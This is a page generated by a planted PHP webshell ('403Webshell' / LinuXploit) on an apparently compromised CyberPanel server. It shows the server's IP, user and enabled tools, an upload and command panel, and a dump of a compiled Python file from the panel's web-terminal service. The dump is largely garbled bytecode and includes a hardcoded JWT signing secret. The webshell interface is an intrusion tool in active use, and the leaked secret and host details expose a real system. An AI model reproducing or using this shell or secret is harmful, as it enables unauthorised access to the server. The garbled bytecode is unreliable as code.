403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/CyberCP/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/CyberCP/__pycache__/fastapi_ssh_server.cpython-310.pyc
o

D�0h��@s�ddlZddlZddlZddlZddlmZmZmZmZddl	m
Z
ddlZddlZddl
Z
ddlmZmZddlZe�ZdZdZeje
dgddgdgd	�d
Zde�d�Zd
d�Zdd�Zdd�Ze�d�ed�ed�fdededefdd��ZdS)�N)�FastAPI�	WebSocket�WebSocketDisconnect�Query)�CORSMiddleware)�jwt�JWTErrorz+qVCWt4C-_HHw1j9Orc8KmMP03COxY7YfEoyZloUTWfw�HS256�*T)�
allow_origins�allow_credentials�
allow_methods�
allow_headers�your_website_userz/home/z/.ssh/authorized_keyscCsDtj�d�}t��}|�|�|��}|���d|����}||fS)Ni� )	�paramiko�RSAKey�generate�io�StringIO�write_private_key�getvalue�get_name�
get_base64)�key�
private_io�private_key�
public_key�r�(/usr/local/CyberCP/fastapi_ssh_server.py�generate_ssh_keypairs
r cCsLd|�d|�d�}ttd��}|�|�Wd�dS1swYdS)N�from="127.0.0.1,::1" r�
�a)�open�AUTHORIZED_KEYS_PATH�write)r�comment�entry�frrr�add_key_to_authorized_keys(s"�r*cCs~ttd��}|��}Wd�n1swYttd��}|D]}||vr,|�|�q!Wd�dS1s8wYdS)N�r�w)r$r%�	readlinesr&)r'r)�lines�linerrr�remove_key_from_authorized_keys.s
�
��"�r0z/ws�	websocket�token�ssh_userc�sj�ztj|ttgd�}|�d�}|s���IdHWdSWnty.���IdHYdSwt�|�j	}t
j�|d�}t
j�|d�}t
j
|dd�t
j�|�set|d��Wd�n1s`wYt
�|t�|�jt�|�j�t
�|d�t
�|t�|�jt�|�j�t
�|d	�t�\}}	d
t
�d�����}
d|	�d
|
�d�}t|d��
}|�|�Wd�n1s�wYtjdd��}
|
�|���|
j}Wd�n1s�wY���IdHd}d�z�z1tjd||gdd�IdH}|jdd�IdH���fdd�}��fdd�}t �!|�|��IdHWnit"�y�}z\z&d|��}t#�$d|���t%|t&��rB|jddd�}��'t(|��IdHWnt"�yh}zt#�$d|���WYd}~nd}~wwz	���IdHWn
t"�y|YnwWYd}~nd}~wwWt|d ��}|�)�}Wd�n	1�s�wYt|d��}|D]
}|
|v�r�|�|��q�Wd�n	1�s�wYt
�*|���rՈ��|�r�|��dSdSt|d ��}|�)�}Wd�n	1�s�wYt|d��}|D]
}|
|v�r|�|��qWd�n	1�swYt
�*|���r,���|�r4|��ww)!N)�
algorithmsr3z.ssh�authorized_keysT)�exist_okr,i�i�zwebterm-�r!rr"r#F)�delete�	localhost)�username�client_keys�known_hosts�xterm)�	term_typec�sJ�z	���IdH}�j�|jddd��qty$�j��YdSw)NT�utf-8�replace��errors)�
receive_bytes�stdinr&�decoder�close)�data��processr1rr�	ws_to_sshds���z%websocket_endpoint.<locals>.ws_to_sshc
�s��zY�j��sX�j�d�IdH}|rPt�dt|��dt|t�r%|dd�n|���t|t�r8��|�IdHnt|t	�rF��
|�IdHn
��
t	|��IdH�j��rWdSWdStyu}zt�d|���WYd}~dSd}~ww)Niz [ssh_to_ws] Sending to WS: type=z	, sample=�(z[ssh_to_ws] Exception: )
�stdout�at_eof�read�logging�debug�type�
isinstance�bytes�
send_bytes�str�	send_text�	Exception�	exception)rG�exrHrr�	ssh_to_wsms"�
0

���z%websocket_endpoint.<locals>.ssh_to_wszConnection error: z [websocket_endpoint] Exception: r?r@rAz2[websocket_endpoint] Error sending error message: r+)+rrE�
JWT_SECRET�
JWT_ALGORITHM�getrFr�pwd�getpwnam�pw_dir�os�path�join�makedirs�existsr$�chown�pw_uid�pw_gid�chmodr �urandom�hexr&�tempfile�NamedTemporaryFile�encode�name�accept�asyncssh�connect�create_process�asyncio�gatherrWrOrXrRrSrVrUr-�remove)r1r2r3�payload�user�home_dir�ssh_dir�authorized_keys_pathrrr'r(r)�keyfile�keyfile_path�connrJrZ�e�msgrYr.r/rrHr�websocket_endpoint6s��
��*
���	
������
�

���
��
�

���

�r�)rtrqrlra�fastapirrrr�fastapi.middleware.corsrrrr^�joserrrO�appr[r\�add_middleware�SSH_USERr%r r*r0r1rUr�rrrr�<module>s8�	*

Youez - 2016 - github.com/yon3zu
LinuXploit